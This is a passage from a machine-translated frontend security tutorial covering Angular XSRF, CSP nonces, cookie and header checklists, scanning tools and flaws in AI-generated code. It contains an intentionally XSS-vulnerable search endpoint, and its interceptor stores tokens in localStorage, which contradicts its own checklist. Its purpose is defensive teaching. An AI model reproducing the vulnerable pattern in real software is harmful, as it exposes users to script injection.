이중 제출 쿠키 메커니즘. 활성화하려면 서버가 쿠키를 설정하도록 하세요.
XSRF-TOKEN: Angular가 자동으로 읽어서 헤더로 포함합니다.
X-XSRF-TOKEN 모든 POST, PUT, DELETE 및 PATCH 요청에서.
// app.config.ts
import {
provideHttpClient,
withXsrfConfiguration,
withInterceptors
} from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
// XSRF automatico
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
}),
// Interceptor personalizzati
withInterceptors([authInterceptor, errorInterceptor])
)
]
};
// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
export const authInterceptor: HttpInterceptorFn = (req, next) => {
// Aggiungi Authorization solo per le API interne
if (req.url.startsWith('/api/')) {
const token = localStorage.getItem('access_token');
if (token) {
const authReq = req.clone({
setHeaders: { Authorization: `Bearer ${token}` }
});
return next(authReq);
}
}
return next(req);
};
CSP 및 Angular: 과제 및 솔루션
Angular는 구성 요소에 대한 인라인 스타일을 생성합니다(View Encapsulation의 일부). 이를 위해서는
'unsafe-inline' in style-src, 다행스럽게도 훨씬 적습니다.
보다 위험하다 'unsafe-inline' in script-src. 스크립트의 경우
언제나 시스템 nonce.
// server.ts - Angular Universal con nonce CSP
import { ngExpressEngine } from '@nguniversal/express-engine';
import crypto from 'crypto';
app.engine('html', ngExpressEngine({
bootstrap: AppServerModule
}));
app.get('*', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
// Imposta CSP con il nonce
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; ` +
`font-src 'self' https://fonts.gstatic.com; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self' https://api.example.com; ` +
`frame-ancestors 'none'; ` +
`base-uri 'self'`
);
res.render('index', {
req,
providers: [
{ provide: 'CSP_NONCE', useValue: nonce }
]
});
});
프런트엔드 보안 체크리스트 작성
이 체크리스트를 모든 프런트엔드 프로젝트에 대한 참조로 사용하세요. 각 포인트는 문서화된 공격에 대한 구체적인 방어.
XSS 예방
- 절대 사용하지 마세요
innerHTML,document.write()oeval()사용자 데이터로 - 사용
textContent대신에innerHTML가능할 때마다 - 상황에 맞는 출력 인코딩 적용(HTML, URL, JavaScript, CSS)
- 렌더링하기 전에 DOMPurify로 HTML 입력을 삭제하세요.
- 문서화된 이유 없이 Angular/React 새니타이저를 우회하지 마세요.
- URL을 사용하기 전에 유효성을 검사하세요.
hrefosrc(차단하다javascript:) - 원산지 검증
postMessage
CSRF 예방
- 세트
SameSite=Lax(최소) 모든 세션 쿠키에 대해 - 모든 변경 요청(POST, PUT, DELETE, PATCH)에 대해 CSRF 토큰을 구현합니다.
- 헤더 검증
OriginoReferer추가 방어로 - Angular XSRF 지원 구성(
withXsrfConfiguration) - GET 요청을 통해 민감한 작업을 수행하지 마세요
- 중요한 작업(비밀번호 변경, 전송)에 대한 재인증 요청
CSP 및 HTTP 헤더
- 다음을 사용하여 제한적인 CSP를 구성합니다.
default-src 'self' - 사용
nonceohash스크립트의 경우 피하십시오'unsafe-inline' - CSP를 테스트해 보세요.
Report-Only활성화하기 전에 - 프로덕션에서 CSP 위반 보고서 모니터링
- 세트
X-Frame-Options: DENY클릭재킹을 방지하기 위해 - 세트
X-Content-Type-Options: nosniff - 다음으로 HSTS를 활성화하세요.
includeSubDomainsepreload - 구성
Referrer-PolicyePermissions-Policy - securityheaders.com에서 점수를 확인하세요(목표: A+)
쿠키 보안
- 플래그를 설정
HttpOnly모든 세션 쿠키에 대해 - 플래그를 설정
SecureHTTPS를 통해서만 쿠키를 보내려면 - 세트
SameSite=LaxoStrict - 정의하다
PatheDomain최대한 제한적으로 - 세트
Max-Age합리적(끝없는 세션이 아님) - JWT 토큰을 저장하지 마십시오.
localStorage(XSS에 취약): 쿠키를 선호합니다HttpOnly
프런트엔드 보안 테스트 도구
보안을 수동으로 테스트하는 것만으로는 충분하지 않습니다. 이러한 전문 도구는 XSS, CSRF 취약점 및 헤더 구성 오류 감지.
| 도구 | 유형 | 주요 용도 | 비용 |
|---|---|---|---|
| OWASP ZAP | DAST(프록시 스캐너) | XSS, CSRF, 주입 및 잘못된 구성에 대한 자동 스캐닝 | 무료 |
| 버프 스위트 | DAST(고급 프록시) | 수동 및 자동 침투 테스트, 고급 퍼징 | 커뮤니티(무료) / Pro($449/년) |
| securityheaders.com | 헤더 분석 | A~F 등급의 모든 보안 헤더를 빠르게 확인하세요. | 무료 |
| CSP 평가자 | CSP 분석 | Google 제안을 통한 CSP 정책별 검증 | 무료 |
| 스닉 | SCA + SAST | 종속성 및 소스 코드의 취약점 스캔 | 프리 티어/팀($25/월) |
| ESLint 보안 | SAST(린터) | 코드에서 XSS 패턴을 감지하는 Lint 규칙(innerHTML, eval) | 무료 |
// .eslintrc.json - Plugin di sicurezza per Angular/TypeScript
{
"plugins": ["security", "no-unsanitized"],
"rules": {
"no-eval": "error",
"no-implied-eval": "error",
"no-new-func": "error",
"no-unsanitized/method": "error",
"no-unsanitized/property": "error",
"security/detect-unsafe-regex": "warn",
"security/detect-non-literal-regexp": "warn",
"security/detect-object-injection": "warn"
}
}
# Scansione rapida con OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Scansione completa con autenticazione
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# Integrazione nella pipeline CI/CD (GitHub Actions)
# Aggiungi come step nel workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
AI 생성 코드의 취약점
코드 생성을 위해 Copilot, ChatGPT, Claude와 같은 도구를 대규모로 채택 새로운 위험이 발생했습니다. 이러한 도구는 종종 작동하는 코드를 생성합니다. 정확하지만 보안 취약점이 포함되어 있습니다. 에 따르면 GenAI 코드 보안 베라코드 보고서 2025, 통계는 놀랍습니다.
AI 코드 보안 통계
- 실패율 86% Cross-Site Scripting(CWE-80) - AI 생성 코드에는 XSS 삭제가 거의 포함되지 않습니다.
- 실패율 88% 로그 삽입(CWE-117) - 사용자 데이터가 삭제되지 않고 기록됩니다.
- 실패율 72% AI 생성 Java 코드용
- 평균 실패율 45% 테스트된 모든 언어에 대해
- 38-45% 실패율 Python, JavaScript 및 C#에만 해당
// TIPICO OUTPUT AI: funziona ma e vulnerabile
// "Crea un endpoint che mostra i risultati di ricerca"
app.get('/search', (req, res) => {
const query = req.query.q; // Nessuna sanitizzazione!
const results = searchDatabase(query);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r => `<li>${r.title}</li>`).join('')}</ul>
`);
});
// XSS: query e r.title non sono sanitizzati
// VERSIONE CORRETTA (dopo code review di sicurezza)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r =>
`<li>${escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
AI 코드의 기본 규칙
AI 생성 코드는 기본적으로 안전하지 않습니다. 생성된 모든 조각을 처리합니다. 주니어 개발자가 작성한 코드로 AI에 의해 작동될 수 있지만 항상 하나 안전 검토 생산에 들어가기 전. 확인 구체적으로는 입력 삭제, 출력 이스케이프, 오류 처리 (페일클로즈), 인증 확인, 하드코딩된 비밀의 부재 등이 있습니다.
결론 및 다음 단계
프런트엔드 보안은 선택 사항이 아닙니다. 이는 모든 개발자의 기본 책임입니다. XSS, CSRF 및 보안 헤더 부족은 구체적인 취약점입니다. 매일 착취당함. 좋은 소식은 방어책이 존재하고 잘 문서화되어 있으며 Angular와 같은 프레임워크는 이를 기본적으로 구현합니다.
프런트엔드 애플리케이션을 보호하는 실용적인 경로:
- 1일차: 헬멧으로 보안 헤더를 구성하고 securityheaders.com에서 점수를 확인하세요.
- 2일차: 보고 전용 모드로 CSP 배포 및 위반 보고서 분석
- 3일차: DOM에서 사용자 데이터를 삽입하는 모든 위치를 확인하세요. textContent를 사용하거나 삭제하세요.
- 4일차: CSRF 보호 구성: SameSite 쿠키 + Angular의 XSRF 토큰
- 5일차: 스테이징 애플리케이션에서 OWASP ZAP 스캔 실행
시리즈의 다음 기사
향후 기사에서는 웹 보안의 다른 중요한 영역을 살펴보겠습니다.
- 제 03조: SQL 주입 및 입력 검증 - 매개변수화된 쿼리 및 고급 검증을 통한 백엔드 보호
- 제 4조: 보안 인증 - JWT, OAuth2, 세션 및 다단계 인증
- 제 5조: API 보안 - 속도 제한, API 키 및 REST/GraphQL API 보안
안전은 결승선이 아닌 지속적인 과정입니다. 모든 프레임워크 업데이트, 각각의 새로운 종속성, 각 코드 줄(사람 또는 AI 생성)은 하나의 종속성을 도입할 수 있습니다. 취약성. 목표는 완벽한 보안이 아니라 보안을 구축하는 것입니다. 방어 깊이 있게 각 레벨은 속도를 늦추고 공격자를 차단하여 공격을 수행합니다. 경제적으로 불리하다.







